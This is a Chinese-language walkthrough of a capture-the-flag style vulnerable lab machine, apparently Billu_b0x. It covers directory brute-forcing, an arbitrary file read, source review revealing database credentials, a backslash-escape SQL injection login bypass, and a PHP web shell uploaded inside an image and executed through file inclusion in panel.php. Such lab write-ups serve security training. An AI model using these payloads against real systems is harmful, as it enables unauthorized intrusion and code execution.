爆破
80下网页让我们sql,但是怎么试都不行
dirsearch爆破下出来部分网页
[09:45:31] 200 - 307B - /add.php 存在文件上传
[09:45:36] 200 - 1B - /c 无
[09:45:41] 200 - 3KB - /head.php 一张图
[09:45:42] 200 - 499B - /images/
[09:45:42] 200 - 47KB - /in phpinfo页面
[09:45:46] 302 - 2KB - /panel.php -> index.php
[09:45:47] 200 - 8KB - /phpmy/ phpmyadmin界面
[09:45:50] 200 - 1B - /show 无
[09:45:53] 200 - 72B - /test.php 让我对file参数传值
那就敏锐点get发个/etc/passwd,没反应。那就post传值试试,发现自动下载一个passwd文件。那就是存在任意文件读取的问题了。直接将之前扫出来的目录全拿来看看(只拿有用的)
审计
index.php
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
panel.php
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);//存在任意文件包含的漏洞
}
}
c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");//此处有mysql的账号密码
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
登录
登录界面有两种方式进入
一种是直接拿c.php的账密来登录数据库后台,然后会发现登录用的账号密码是用明文方式存储的
另外一种是通过代码审计index.php
中的代码来执行sql注入
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
构造payload
un='or 1=1 -- \&ps=\
此时语句将变成
select * from auth where pass='\' and uname='or 1=1 -- \'
进入后台后导航到panel.php
,那就能用到他的文件包含的代码,看见存在文件上传的地方,这时候需要知道文件上传的路径。
有两种方法
一是gobuster来爆
gobuster dir -u http://192.168.1.108 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
二是审计index.php的代码可以发现上传的代码会被移动到/uploaded_images
文件下
文件包含
发现很玄学的一件事情,首先我是上传本地一个文件头GIF89a的一句话马,但是没有反应。然后我尝试wget几个图片在后面加一句话马依旧不行。但是到最后却是在jack.jpg成功了。原因不详。
<?php system($_GET['red']); ?>
构造payload
抓包panel.php页面,将load改为/uploaded_images
,代码执行在get中的red参数里添加,比如
/panel.php?red=phpinfo()